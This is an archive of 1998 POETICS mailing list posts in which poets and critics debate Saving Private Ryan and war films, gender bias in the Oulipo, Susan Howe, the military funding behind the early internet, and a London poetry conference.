Re: Saving Private Ryan, which I haven't seen and don't intend to see, having found SCHINDLER'S LIST quite phoney and manipulative:

Kent, if you want to see what WWII "felt like," look at some of the superb documentaries often shown on the History Channel. That was the real thing. Spielberg's simulations, as a letter to the editor in the LA Times pointed out today, are on the following order: in one battle scene the officers were helmets with insignias that, acc. to this letter writer who fought in the war, no officer ever would wear in battle because it showed up too much. A small detail but typical. I personally think the simulation of violent battle scenes is voyeuristic and also false. It does NOT tell you what war felt like. My husband Joe who was actually in WWII (tail end, missed the battles) in the Pacific Theatre will tell you how disappointed the 18-year olds like himself were to miss the battles because the felt they weren't being brave and heroic enough. Frank O'Hara, in the Pacific theatre at about the same time, writes the same thing in letters to his family. It may have been crazy, but there it is.

As for the "good war" question, as someone who wouldn't be here today if the British and US had not fought, I find the question really creepy. Would you have liked to live under the Nazis? Not a hypothetical question for the British in 1939. Nothing like a lot of people who have never had to fight or indeed do anything on that order to sit around and discuss whether or not they would have gone, and yes, as we all know all wars are evil! IWhat else is new? It shows that it's time for a few history lessons for the kids.

and, by the way, as endless letters in LA have been saying to Spielberg, who said there were no great war movies?? There have been dozens with amazing battle scenes but perhaps the greatest ever is the Bridge on the River Kwai. Not exactly a "recruiting" picture --it's very anti-war --but deals with real issues not, "Oh boy, war is hell." Isn't there something wrong with sitting comfortably in a theatre, warm enough, well-fed enough, eating popcorn and watching "War is hell" films?

Well--I'm sure I'm in the minority here but I had to sound off a bit....

xxx
Marjorie

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725. **Mark Prejsnar**
Re: FEASTing on Oulipo
Tue 28 Jul 1998

---

i agreed with Laura, that the response about hopscotch seemed deliberately evaisive and even meaningless...

Quite frankly, as the person who brought the gender-in-Oulipo question up: i stick by what i felt to start with, that they have retained a strong bias characteristic of the time and place in which the workshop was founded: that most serious intellectuals most of the time, are going to be men. (or, put more simply, that women aren't really human, though of course few individuals would be able to admit that that is a core implication of their thoughts...)

luta continua, by Panteleimon!

mark

On Mon, 27 Jul 1998, Laura E. Wright wrote:

> *And my calendar only said it was Take Your Houseplants For a Walk day...*
>
> *k.a. hehir wrote:*
>
> *Today, 27 July, is the feast of ...*
>
> ** Pantaleon or Panteleimon, martyr (c. 305?) - ...*
>
> *But more seriously, re Rachel (soon to be sorely missed in Boulder) Levitsky's post on Oulipo and so on, in which she said:And by the way, since the question was asked, about women, a question that was on my mind as Harry was discussing the strict application of rules and limitation. I asked Harry if he thought the method appealed to men more than women. He scowled and asked me if I ever watched a game of hopscotch.*
>
> *I never was any good at hopscotch, or jacks, for that matter.*
>
> *Does anyone else gag when they read this? Why is it still acceptable to dismiss rather than addressing (or even refusing to address but owning up to it) questions if they relate to a gender or race or sexual orientation or etc. other than one's own? I'll take forthright bigotry over this sort of snideness any day.*
>
> *With curry all over my keyboard,*
> *Laura (I was never any good at hopscotch either but I loved logic) W.*

> --
> *Laura Wright*
> *Library Assistant*
> *Allen Ginsberg Library, The Naropa Institute*
> *2130 Arapahoe Ave*
> *Boulder, CO 80302*
> [redacted]
> * * * * * *
> "*All music is music...*" -- *Ted Berrigan*
> * * * * * *
> "*It is very much like it*" -- *Gertrude Stein*

↑ Index

726. **Mark Prejsnar**
saving public poets in a pentagon world
Tue 28 Jul 1998

The observation that the internet emerged and in some sense could only have emerged out of the military machine, is accurate. By and large (as lots of you know) the research that allowed the creation of functional computers with vacuum tubes was almost entriely pentagon-driven. (During ol' wwii that we've been discussing, much of the idea was to be able to calculate long-range targeting of large cannons; almost immediately thereafter, of course, it became coordination of the US nuclear war machine.)

The shape of our lived world, is strongly determined by the reality of war. **No war** undertaken by the US machine can be better than problematic. Because of the huge weight of US coercion toward its 80 percent working population, we who seldom vote and have no money, and toward most of the world, on behalf of its capitalist elite, it is very, very unlikely that any war launched by the US machine would be supportable, right now. (Think of Grenada, Panama, even apart from murders of civilians in those incursions that are public record, but denied and buried by the state-subservient US media; the "turkey-shoot"...) Sociopolitical circ's change, and it is hard for me to imagine opposing a war against the fascist powers, yet it led to the two nuclear bombings, not to mention Dresden and other ariel murder-bombings; how can a thinking person, with any values at all, support that scale of murder of civilians?

For me, the best response in any medium to the way war has been accepted and integrated into an undemocratic century, is in the work of Susan Howe, especially in The Europe of Trusts (tho' elsewhere too). It is hard to convey how urgently her poetry grapples with the way gender and political weights determine

violence, and direct it toward those who have not gained a measure of protection by becoming implicated in a violence of their own (or who have not had any chance to do so). One of the problems with gazing at history's violations and oppressions is, that they are too large and also tangled, to easily discuss; Howe brings the ability of words to *frame silence* into play, and thus through sounds and visual text images actually brings the wounded violence from history onto the page...

mark

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727. daniel bouchard

How

Tue 28 Jul 1998

Mark,

despite it's being hard, can you give some specific examples? I'm most interested in where you say "Howe brings the ability of words to *frame silence* into play, and thus through sounds and visual text images actually brings the wounded violence from history onto the page..."

Perhaps one luminous example of sounds and visual text images actually bringing the wounded violence from history onto the page.

- db

At 11:47 AM 7/28/98 -0400, Mark Prejsnar wrote:
>It is hard to
>convey how urgently her poetry grapples with the way gender and political
>weights determine violence, and direct it toward those who have not gained
>a measure of protection by becoming implicated in a violence of their own
>(or who have not had any chance to do so). One of the problems with
>gazing at history's violations and oppressions is, that they are too large
>and also tangled, to easily discuss; Howe brings the ability of words to
>*frame silence* into play, and thus through sounds and visual text images
>actually brings the wounded violence from history onto the page...
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]

fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<

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728. Fred Muratori
Saving Matt Damon
Tue 28 Jul 1998

I heard Tom Shales' review of _Saving Private Ryan_ on NPR, in which he concluded -- with the kind of original, stunning insight that earned him a Pulitzer -- that ultimately the film was no more than a bunch of actors playing with toy guns. So I guess the only way to make a truly convincing war movie -- which seems to be what everyone wants -- is to give the audience a 50/50 chance of getting out of the theater alive. Where is William Castle when we need him? As those of us old enough to remember "The Tingler" can attest, he wouldn't have been afraid to mine a few seats.

But seriously, movies like "Ryan" and "Schindler's List" are inevitable victims of their own overblown marketing apparatus. Would those who found the latter to be slick and exploitive have felt the same way if they stumbled across it -- unheralded, unanticipated -- in some Village art house, as though it were an independent film about which one had few or no expectations? What if the director had been Hal Hartley or John Sayles? What if Steve Buscemi played Schindler? The marketplace has generally made it impossible to approach Hollywood product without prior knowledge or assumptions. Maybe this is a good thing, since yes we are less likely to be manipulated if we already know how many stars, thumbs, whatever, a film has collected on its way through the media's meta-gauntlet. But it also results in weird reverse-experiences. Example: I was bored to sleep by "Wag the Dog," which I'd already been advised by everyone from Dan Schorr to Saddam Hussein was a great film, but absolutely loved "Wild Things" -- about which I'd known nothing beforehand, and only later discovered was a cheap, crass, artless pseudo-noir. It was also great, quirky fun. I'll see "Private Ryan" all right, but in about 3 or 4 years when I've forgotten what everyone tells me what I should think of it.

-- Fred M.

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853

WWW: http://fmref.library.cornell.edu/spectra.html
****

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729. **Alan Jennifer Sondheim**
Re: saving public poets in a pentagon world
Tue 28 Jul 1998

Just want to point out, re: Wizards book and other early sources I have here inc. some original papers, although the Net emerged out of the mil- itary, it very quickly developed a superstructure guided by computer scientists not particu- larly interested in such - news and telnet and email and a host of other direc- tions developed in the first 3 years for example including the online eliza game, etc. It's to easy to jump into the mili- tary model, and any close reading of the texts/papers/rfcs will dispel that.

Alan

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730. **Alan Jennifer Sondheim**
Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
Tue 28 Jul 1998

Just out of curiosity, since you won't go see the film - and yet you blast it here - would you do the same for a book of poetry?

It always bothers me when people critique something from a position of absent authority.

Alan

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731. **henry gould**
Re: Saving Matt Damon
Tue 28 Jul 1998

---

my favorite war movie was "The Mouse that Roared".
- Henry Gould

↑ Index

732. **Mark Prejsnar**
Re: How
Tue 28 Jul 1998

---

don't have time i think to manage a critical treatise on Howe. Most of Pythagorean Silence and The Defenestration of Prague (the first two of the the three long poems that make up Europe of Trusts) are examples.

m.

On Tue, 28 Jul 1998, daniel bouchard wrote:

> *Mark,*
>
> *despite it's being hard, can you give some specific examples? I'm most interested in where you say "Howe brings the ability of words to *frame silence* into play, and thus through sounds and visual text images actually brings the wounded violence from history onto the page..."*
>
> *Perhaps one luminous example of sounds and visual text images actually bringing the wounded violence from history onto the page.*
>
> *- db*
>
> *At 11:47 AM 7/28/98 -0400, Mark Prejsnar wrote:*
> *It is hard to*
> *convey how urgently her poetry grapples with the way gender and political weights determine violence, and direct it toward those who have not gained a measure of protection by becoming implicated in a violence of their own (or who have not had any chance to do so). One of the problems with gazing at history's violations and oppressions is, that they are too large and also tangled, to easily discuss; Howe brings the ability of words to *frame silence* into play, and thus through sounds and visual text images actually brings the wounded violence from history onto the page...*
> *<<<<<<>>>>>>>>>>>>>>>>>>*
> *Daniel Bouchard*
> *The MIT Press Journals*
> *Five Cambridge Center*
> *Cambridge, MA 02142*
>
> [redacted]
> *phone:* [redacted]
> *fax:* [redacted]
> *<<<<<<<<<<<<<<<*

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733. Gwyn McVay
representations, 'just wars'
Tue 28 Jul 1998

Oppen:

There is a simple ego in a lyric,
A strange one in war.

--and--

'A zero, a nothing':
Assassin.

Not nothing. At nineteen
Crossing frontiers,

Rifleman of the suffering--
Irremediable suffering--of the not-great,

Hero and anti hero
Of our time

Despite all he has cost us
And he may have cost us very much

--and, following his famous sections in "Route" about Alsace:

Wars that are just? A simpler question: In the event,
will you or will you not want to kill a German. Because,
in the event, if you do not want to, you won't.

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734. hery gould
the hostilities
Tue 28 Jul 1998

a poem by Edwin Honig from several yrs ago:

STARTING THE HOSTILITIES

We've cleared the wires where
the hostages hung all night.
Feeling is up,
horses kick at the barn doors,
youngsters in town
round up the old pistols,
some test improvised bombs,
wives quietly clean rifles.

This is no child's tourney,
there'll be other casualties.
The veterans are growling
We'll tear out their hearts...

[Honig was a combat veteran in WW II]

General Sherman said it best.

↑ Index

735. **Michael Magee**
Re: Saving Matt Damon
Tue 28 Jul 1998

To Fred M's question, "What if Steve Buscemi played Schindler?"

Buscemi (in imagined dialogue with Hitler): What, you think you're some kind of authority figure now? You get to punch tickets at every port in Europe? Big Man. You miserbale fuck. Hey, these are the boundaries of your world, man; you pathetic piece of shit.

-m.

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736. **Hilton Manfred Obenzinger**
Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
Tue 28 Jul 1998

I will go see "Saving PR" as phony as it may be -- just as I saw Spielberg's list. The public discussion is crucial -- athough I'm afraid the end result will be to further undo the "Vietnam syndrome" and not etch more deeply the horrors of war.

I haven't stopped fighting WW2, and I wasn't even born yet.

I haven't stopped fighting against the Vietnam War either -- and I'm not entirely sure that one has ended either.

The wars don't end -- they just pause. The problem has been trying to escape the war mentality as much as the bloodshed.

Better flawed art -- and I do believe Spielberg keeps trying -- than none. There have been excellent war movies: The Power and the Glory, Platoon. Full-Metla Jacket, MASH.

Here's a suggestion for the high-roller producers on this list for movies not yet made: how about a movie about the torment of pacificsts during WW2; how about a movie that genuinely depicts the chaos, rage, fear, and battle of anti-

war organizers during Vietnam. Has any movie depicted the anti-War movement accurately? I rage about the depiction of the movement in Forest Gump, for example.

"Medic! Medic! This soldier has been hit by lies!"

Hilton Obenzinger

↑ Index

737. **dbkk**
postfeminist playground
Tue 28 Jul 1998

Thanks to Linda R. for mentioning my piece at Postfeminist Playground--particularly since I didn't know it was there! They wrote to me ages ago about posting it, and it was a busy period in my life and I kind of lost the message in the piles of e-mail that rush in, and then when I got one of those "Live Dangerously?" messages from Eudora and was cleaning out my mailboxes, I found it and wrote back to them eons later that they could use it. They never wrote back, so I assumed that my flakiness killed the idea.

I like the site, and I like being published in non-avant-garde/poetry environs.

The piece is also in the new/long-overdue Poetics Journal--it was a talk I gave at New Langton Arts years ago--for an evening on Eros and Writing (curated by Kevin K.), and it was purposely written for a non-intellectual audience. When, after the talk Barrett asked if they could use it for PJ, I was surprised, since the piece is so determininately non-high-fallutin'. Barrett was still living here in SF and David Wojnarowitz was still alive--that long ago. The only reason I said it was okay to post it at Postfeminist Playground was because I assumed there would never be a cross-over between its audience and the PJ audience, so it's a bit disconcerting to have seen it mentioned here. I guess this goes to show, you never know . . .

Dodie

↑ Index

738. **Rachel Loden**
Re: saving public poets in a pentagon world
Tue 28 Jul 1998

Alan,

You're right about the interests of the computer scientists who developed the net. But who gave them the money? The principal funding source behind the Stanford AI Lab, MIT AI Lab, SRI, CMU etc. was DARPA. Money coming from

other sources, like the National Science Foundation, was much less significant. The odd collection of graduate students, researchers, hackers and hangers-on who worked on programs such as Eliza, Emacs, telnet, email, etc. were, for the most part, directly or indirectly supported by DARPA money--they may not have been paid by that agency (though many were, including many who did not agree with military goals), but they used facilities and machines purchased with DARPA funds. So while we might want to sanitize that history, the truth is that net pioneers took the money and ran.

Rachel

Alan Jennifer Sondheim wrote:
>
> Just want to point out, re: Wizards book and other early sources I have
> here inc. some original papers, although the Net emerged out of the mil-
> itary, it very quickly developed a superstructure guided by computer
> scientists not particularly interested in such - news and telnet and email
> and a host of other directions developed in the first 3 years for example
> including the online eliza game, etc. It's to easy to jump into the mili-
> tary model, and any close reading of the texts/papers/rfcs will dispel
> that.
>
> Alan

↑ Index

739. Alan Jennifer Sondheim
Re: saving public poets in a pentagon world
Tue 28 Jul 1998

On Tue, 28 Jul 1998, Rachel Loden wrote:

> funds. So while we might want to sanitize that history, the truth is
> that net pioneers took the money and ran.
>
> Rachel
>
"sanitize"? Hardly. "ran"? as if they were getting away with something?
That's not how the history went down.

As far as the source of the money goes, yes, and there were additional funds from universities, etc. But that hardly made it a military enter- prise.

Alan

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740. **toddbaron**
Re: film and war: in Hollywood--isn't that like ...
Tue 28 Jul 1998

---

war movies?

Kubrick's F.M. Jacket-- seems the only way to truly make
a safe-distance piece of art--which all
movies that attempt to make a war upon--
is to go inside the mind of those involved--which
is a problem--seeing as they're actors
by the time they hit the screen.

I'd add--as a suggestion to explore--seeing
again--(for me) the film MASH--wehich explores not
only the "idea" of war and the lives
it actually affects and effetcs--but the interior
chaos that the film develops as a piece of art itself. WHich
was Altman's response--from years of doing TV--such as COMBAT!

Tb

"suicide is painless,,,
it brings on many changes..."

↑ Index

741. **Rachel Loden**
Re: saving public poets in a pentagon world
Tue 28 Jul 1998

Alan Jennifer Sondheim wrote:

> *"sanitize"? Hardly. "ran"? as if they were getting away with something?*
> *That's not how the history went down.*

Alan, I admire you (as I think you know) and don't really want to be in a pitched battle here. But yes--exactly as if they were getting away with something. My husband was at the Stanford AI Lab and that is how the history "went down." Money for research had to be procured from funding agencies, each of which had its own agenda. A successful grant proposal appeared to address this agenda in some way, even while the applicant's interests might be elsewhere.

> *As far as the source of the money goes, yes, and there were additional*
> *funds from universities, etc.*

Re: "additional funds from universities," Stanford (for example) was heavily dependent on federal research money, and in fact made a killing charging high

overhead rates on grants--70% or more. In computer science there was no direct research support other than professorial salaries.

> *But that hardly made it a military enterprise.*

Not a military enterprise, when colonels were doing project reviews? Call it what you want but the military picked up the tab, and had they not done so we would not have the net today--Congress never would have funded pure computer science research at that scale.

The power of Taoism in action, don't you think?

Rachel

↑ Index

742. Chris McCreary
address query/Joseph Torra
Tue 28 Jul 1998

Hello--

I'm in search of an address-- e or otherwise-- for Joseph Torra. Please backchannel any such info. Thanks much.

--Chris McCreary

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743. Steve Shoemaker
Re: Her Privates We
Wed 29 Jul 1998

OK, i can't resist this thread no matter what horrible late-nite revelations it entails. I confess: i grew up in the sixties and seventies watching leftover WWII propaganda films on Saturday afternoon TV, trying to figure out what it mean to "be a man." My great-grandfather was a Marine, my grandfather was a Marine (and a boxer), my father merely served in Army, and i (the gradual de-generation shld be clear) am a vegetarian more-or-less-pacifist (tho, yes, i "would have gone"--interesting, since gender has so often, and recently, been a subject here that this is such a notable male response to the question of war and wars). Up until the age of 10 or 11 at least those explosive sacrifices and sacrificial explosions sure did make me tingle, and there is a lingering susceptibility. So one of my votes goes to a movie that manages to be both a war movie and an anti-war movie at the same time, Preminger's In Harm's Way. Yes, it features John Wayne strutting in his dress whites (opposite the stunningly down-to-earth

Patricia Neal) but also glimpses him--hard to believe, even if it's brief--terrified and shell-shocked.

Steve

At 09:16 AM 7/28/98 -0500, you wrote:
>When Sam Fuller's WWII film _The Big Red One_ came out in the early 80's, he
>was asked the usual questions about the verisimilitude of war films and
>responded by saying that the ony way to give an audience any idea of "what
>it was like" would be to have rifllemen shoot into the audience.
>
>As far as great battle scenes go, it's hard to imagine anyone improving on
>Welles's Battle of Shrewsbury in _Chimes at Midnight_, or Kurosawa's
>storming of the Third Castle in _Ran_. The best war film I've ever seen, bar
>none, and one that I'm not ashamed to say makes me weep unabashedly, is Kon
>Ichikawa's _Harp of Burma_, also a WWII film, also "anti-war," and yet, so
>much more, of course. (Also on WWII by Ichikawa and worth seeing: _Fires on
>the Plain_).
>
>I look forward to the Spielberg, nevertheless. He's far too important a
>cultural barometer to dismiss out of hand, regardless of what one may think
>of him as a filmmaker. Besides which, teenage girls in LA used to mistake me
>for him when I wore my baseball cap. And me, with such a humble schnozz!
>
>Patrick Pritchett
> ----------
>From: Marjorie Perloff
>To: [redacted]
>Subject: Re: POETICS Digest - 26 Jul 1998 to 27 Jul 1998 (#1998-14)
>Date: Monday, July 27, 1998 4:09PM
>
>Re: Saving Private Ryan, which I haven't seen and don't intend to see,
>having found SCHINDLER'S LIST quite phoney and manipulative:
>
>Kent, if you want to see what WWII "felt like," look at some of the
>superb documentaries often shown on the History Channel. That was the
>real thing. Spielberg's simulations, as a letter to the editor in the
>LA Times pointed out today, are on the following order: in one battle
>scene the officers were helmets with insignias that, acc. to this letter
>writer who fought in the war, no officer ever would wear in battle
>because it showed up too much. A small detail but typical. I

>personally think the simulation of violent battle scenes is voyeuristic
>and also false. It does NOT tell you what war felt like. My husband
>Joe who was actually in WWII (tail end, missed the battles) in the
>Pacific Theatre will tell you how disappointed the 18-year olds like
>himself were to miss the battles because the felt they weren't being
>brave and heroic enough. Frank O'Hara, in the Pacific theatre at about
>the same time, writes the same thing in letters to his family. It may
>have been crazy, but there it is.
>
>As for the "good war" question, as someone who wouldn't be here today if
>the British and US had not fought, I find the question really creepy.
>Would you have liked to live under the Nazis? Not a hypothetical
>question for the British in 1939. Nothing like a lot of people who have
>never had to fight or indeed do anything on that order to sit around and
>discuss whether or not they would have gone, and yes, as we all know all
>wars are evil! IWhat else is new? It shows that it's time for a few
>history lessons for the kids.
>
>and, by the way, as endless letters in LA have been saying to Spielberg,
>who said there were no great war movies?? There have been dozens with
>amazing battle scenes but perhaps the greatest ever is the Bridge on the
>River Kwai. Not exactly a "recruiting" picture --it's very anti-war
> --but deals with real issues not, "Oh boy, war is hell." Isn't there
>something wrong with sitting comfortably in a theatre, warm enough,
>well-fed enough, eating popcorn and watching "War is hell" films?
>
>Well--I'm sure I'm in the minority here but I had to sound off a bit....
>
>xxx
>Marjorie
>
>

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744. **Tom Orange**
How
Wed 29 Jul 1998

---

daniel b, mark p --

short of a critical treatise, would love to hear more on howe, if only recommendations of some useful secondary-critical takes on or ways into her work.

thanks,
t.

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745. **Keith Tuma**
anglo-american poetic relations
Wed 29 Jul 1998

Thought I'd float a few reportage pixels concerning the Post-War Anglo-American Poetic Relations conference held at the University of London's Centre for English Studies July 9-11. Lots of good papers, though with so many good panels going on simultaneously it was impossible to catch all that I wanted to hear. There were readings by Bob Perelman and Jennifer Moxley as well, and to close out the conference James Tate and John Ashbery.

Good talks by list-folks Bob Archambeau (on Donald Davie at Stanford), Romana Huk (on Black British poetry), Alan Golding (Susan Howe and Ireland/England), and Marjorie Perloff (on signature and subjectivity in Silliman, Howe, Palmer, Scalapino, etc.). Peter Barry argued the need for a pedagogically-friendly anthology of experimental British poetry. Geoff Ward spoke on recent Ashbery; David Trotter read Olson beside Robert Smithson in an effort to rescue a "minimal" Olson. Robert Hampson followed the wanderings of cris cheek across artforms and nations; Rod Mengham spoke on Moxley's work with the poet in the room and offered his view of the wrestling with Keats etc. in JM's poetry. The word "cartoon," I think, was used as he thought about references to Greek myth in the poems, and this became an issue, though the paper was thoughtful and ultimately flattering.

Frank O'Hara now has some very good British critics and scholars, including (especially) Kevin Nolan, Shari Sabeti, and Graham MacPhee; absurdly enough, these people were scheduled against a panel on the New York School. I showed up for Alison Mark, Carol Watts, and Drew Milne on Veronica Forrest-Thomson (and also C. Bernstein in Milne's case) but refused to sit in the hallway to hear it. (No huge crowd, just a small room). Did get the core of it later from Milne.

Fascinated to learn at a different panel that there is now a cult of O'Hara in Poland--the O'Hara-ists even. This information courtesy of Krystyna Mazur of the American Studies Center, Warsaw University, whose excellent paper included her translations of some of these poets. Here's the opening lines of her translation of "Why I'm not a Grave-digger" by Derek Foks:

I am not a grave digger, I am a carpenter.
Why? I think I would rather be
a grave digger, but I am a carpenter. I work

with grave diggers. I meet one:
he is beginning to dig. I look at his shovel.
"Sit down and have a drink" he says. I sit down
and drink. We drink. I look
at his shovel. "You have tons of mud on it."
"I knew there's too much of something there."
"Oh." I go and the days go by
and I drop in again.

And so on (and so on). I will resist the temptation to comment on this phenomenon or the world-wide status of O'Hara and O'Hara-influence. Ists and isms also came up with the Scottish Informationists, briefly discussed by Robert Crawford as he took up the poet-in-the-academy question.

Strangely, or maybe not so strangely, the two papers I'll probably remember the best were ones that left me scratching and squirming. Edna Longley went on for an hour complaining that Ezra Pound and American Poundians (Kenner etc.) had effectively but unfairly written W B Yeats out of dominant versions of modernism. Lots of good old American-bashing there, which is always fun and probably even called for in some instances, but the sumo wrestling Longley was describing seemed a little dated or out of touch with the emerging and plural modernisms now alive in American literary history and criticism as well as in contemporary poetic practice here or anywhere. Asked a question by your reporter, she refused to take seriously the existence of traditions of Irish modernisms other than the Yeats line. ("These people are confused" is part of what she said in response to my question about Brian Coffey, Denis Devlin, Catherine Walsh, Trevor Joyce, etc.)

And then there was Helen Vendler's talk, which immediately preceded the Tate-Ashbery reading (with no Q & A.). Vendler talked about Ashbery. She said she didn't like most of his followers because they have ideological or political or religious axes to grind.

However, it turns out that there now is an Ashbery-esque (if that's the word) poet Vendler can admire, though in the end he's more narrative than JA, more concerned with the body, etc. His name is Mark Ford, author of a book I haven't read and thus can't comment on (_Landlocked_, Chatto & Windus, 1992). Grateful if somebody would fill me in a little more.

But that's not all. Vendler also said that, before Mark Ford, England had had no good poet since World War II. Or so she has long thought, she said.

Yowie.

So much for Bunting or Prynne, Raworth or Roy Fisher, Alan Fisher or Denise Riley, Charles Tomlinson, Tom Leonard, Maggie O'Sullivan--even Philip Larkin

or Geoffrey Hill or Lynette Roberts or Peter Redgrove or dozens and dozens of contenders. What a thing to say. Maybe it was honest. One wonders who or what she's read.

So much for Anglo-American poetic relations.

Keith Tuma

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746. Mark Weiss
Re: John Yau's MY SYMPTOMS
Wed 29 Jul 1998

This (the Yau) is shockingly cliched.

At 05:19 PM 7/27/98 -0700, you wrote:
>Hi Chris,
>
>Good call: it IS "Butcher, Baker..."
>
>"I'm a dancer who makes men spin in their graves, gets them to yell 'bay bee,'
>whisper 'gosh' and 'honey,' and dream of 'whoopee.'"
>
>"Fate got warm with me, dealt me a flush. So I'm packaged right for the job. I have
>an easygoing, cornstalk smile; I'm tall and tilted just enough so short guys don't
>have to crane their little necks and hurt themselves. I can crouch and rise smooth as
>a wave. Twist and twirl until their brains turn to jellyfish bobbing in a beer
>bottle."
>
>"Early on I learned that men like to be swatted a little if you do it right and put
>on your girl-next-door smile while shaking your assets just beyond reach. I had tits
>and a smile that gave men cramps."
>
>This seems *extraordinarily* off-base as a representation of what a woman might think
>when contemplating male reaction to her body. Admittedly I am *one* woman among many.

>But I wonder if perhaps Yau isn't closer to what *men* *think* women think.
>
>When I first read the piece I felt guilty about finding it an amusing read when it
>was so clearly a man's idea of a woman's feelings. And as someone who's held the same
>job as the narrator, I'm aware of how routinely dancers are stereotyped.
>
>It sounds like you felt differently about the piece, Chris. C'mon, spill it.
>
>Karen
>
>
>louis stroffolino wrote:
>
>> Dave Baratier asks what "cross-gendered identification" is.
>> I guess I just meant the term simply (if loosely) to mean
>> when someone of one gender and/or sex adopts or takes on
>> the voice of someone of another gender and/or sex....
>> I didn't say that YAU was NEW for doing that....
>> but then "make it new" has never been much of a standard for me
>> (see Mike Magee's intro to his mag COMBO for a view I largely share)
>>
>> Karen Kelley. COuld you tell me which particular piece of Yau's was
>> in First Intensity? My hunch is you're talking about a piece called
>> BUTCHER, BAKER, or CANDLESTICK MAKER, but I'd like to know more
>> specifically before I respond....Because I'm curious about what
>> you mean by "stereotypical" and why you think the piece you read is
>> so.....
>> Thanks, chris stroffolino
>>
>> On Thu, 23 Jul 1998, Karen Kelley wrote:
>>
>> > I recently read something of Yau's in a mag--was it First Intensity? I'm
>> > sorry--I can't recall, but it was perhaps from the new book & was the narrative
>> > of a stripper & I found it rather disturbing in that the narrator was kind of
>> > dumb & angry & thought highly of her breasts (no prob with that in & of itself)
>> > & little of men in general--she was kind of a jaded line drawing of a
>> > woman--with the interior monolog of a stereotype, which I suppose is

okay,
>> > though as this thread goes to show, the whole male/female or masc/fem question
>> > is much more complex than Yau's piece implied, and I guess I just felt annoyed
>> > that he was willing to throw another stereotype my way.
>> >
>> >
>> >
>> > louis stroffolino wrote:
>> >
>> > > Has anybody here read Yau's new Black Sparrow book?
>> > > In it, there is much "cross-gendered identification"
>> > > that---though it is written by a male--seems to, er,
>> > > "rupture patriarchal discourse" and could serve as
>> > > a complement to, say, Carla Harryman who also engages
>> > > in "cross-gendered" identification. I think Yau does
>> > > a very good job at trying to speak AS woman "other"
>> > > and negotiating the representational anxieties that
>> > > might attend the "presumption" of such a task.....
>> > > but would be very interested to hear opposing views....
>> > > chris stroffolino
>> > >
>> > > On Wed, 22 Jul 1998, Linda Russo wrote:
>> > >
>> > > > Rah rah.
>> > > >
>> > > > I'm glad to see Safdie Joseph annoyed with the
>> > > > "position" that feminism had seemed to put Todd in (in reading the
>> > > > original post, before Todd's brilliant comeback) -- as
>> > > > an apologist. Elizabeth Treadwell makes the same point as well (though I
>> > > > have definite issues with Postfeminist Playground, for another post).
>> > > >
>> > > > I wish we could just do away with the gender essentialism which causes so
>> > > > many with physical bodies to feel they have to apologize for some
>> > > > appendage or other. I'm intrigued by the problems women (and other
>> > > > 'others') face in trying to enter the current the forums/debates etc.
>> > > > -- very material problems (as Woolf pointed out early on) rooted in
>> > > > patriarchal biases.

>> > > >
>> > > > But it's more fruitful to continue mucking things up, to keep getting
>> > > > more and more challenging writing published, to continue framing
>> > > > experiment as a rupture of "patriarchal laws" (Kristeva's
argument; what
>> > > > Woolf recognized as "convention," what Bernstein has called "pop-
ulist
>> > > > realism" etc) -- to recognized that oppression is at work, even that
>> > > > gender oppression is at work, but to quite calling the
>> > > > counter/re/active strategies "feminine"! or to call it feminine
and stop
>> > > > stop linking this to (women's) biology! Or we all really do have the
>> > > > Anxiety of Influence -- we're all a bundle of nerves!
>> > > >
>> > > > Until we get some intelligent conversation going
>> > > > to reframe the issues (and reframe them for feminist literary
scholarship)
>> > > > we're going to be beaten over the heads with said appendages. (Not
that it
>> > > > isn't out there -- Judith Butler, for example -- But to what
extent has it
>> > > > made its way into contemporary poetics discussions?)
>> > > >
>> > > > Todd's comeback:
>> > > >
>> > > > > being "stuck' has to do with our discussion of (bad
spelling...er..)
>> > > > > gender roles and structures in poetics. If one is aware of a
gender role
>> > > > > or gender model--then I believe on is "stuck" within the
defintion and
>> > > > > confinement of terminology. I do not believe tho that one is
punished or
>> > > > > "jailed" as in "stuck in prision..stuck in my room". The thing
is that
>> > > > > "stuck" is structure--if one identifies patterns as either male or
>> > > > > female--but I agree with others when they notice that structures in
>> > > > > poetics are male--in that they derive from male poets and male
>> > > > > narratives--how else would the Epic, the sonnet, etc. have found
their
>> > > > > way here--now--in their forms. Your Marxist response negates that
>> > > > > economics is gender and age (and race) based also. Very much

so--are
>> > > > > structures of Marxism (poor ms. marx and his daughters) and Capitalist
>> > > > > Democracy/etc ("Free Market") based on a male pattern (baldness?) power
>> > > > > elite-thus yes economics determine us--BUT--those economics are not--are
>> > > > > not ---"impersonal economic forces..." --
>> > > > >
>> > > > > never impersonal.
>> > > > >
>> > > > > Tb
>> > > > >
>> > > >
>> >
>
>

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747. George Bowering
Re: Saving Private Ryan
Wed 29 Jul 1998

Refresh my memory. Did the US army have integrated units in WW2?

> *I haven't actually seen the movie, but I've heard that there are no African American or Chicano soldiers shown in any of the larger battle scenes. Strange since Spielberg claimed to try and make this movie as close to reality as possible and quite a large number of the soldiers that fought in WWII were African American and Chicano or Latino.*
>
> *-Joanna Sondheim*
>
> **********
> *"It does not behoove me to make myself smaller than I am."*
> *-Edith Sodergran*
> **********

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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748. George Bowering
Re: FASTing on Oulipo
Wed 29 Jul 1998

> *Quite frankly, as the person who brought the gender-in-Oulipo question up: i stick by what i felt to start with, that they have retained a strong bias characteristic of the time and place in which the workshop was founded: that most serious intellectuals most of the time, are going to be men.*

I think that that use of the word "intellectuals" is not quite adequate here. The Oulipo founders were interested in mathematics, and I remember that during "that" time, for various reasons, not as many women as men were excited about mathematics. My first-year math prof was a woman, but there were not a lot of young women in my class, if I remember right.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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749. George Bowering
Re: ww2)
Wed 29 Jul 1998

> *Refusing to fight in the case of the Vietnam War was one thing; in the case of WWII it was quite another. There really wasn't much choice since the victory of the Germans was a very real possibility.*

And I can remember, I can tell you, that we were glad when the US finally got into it.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

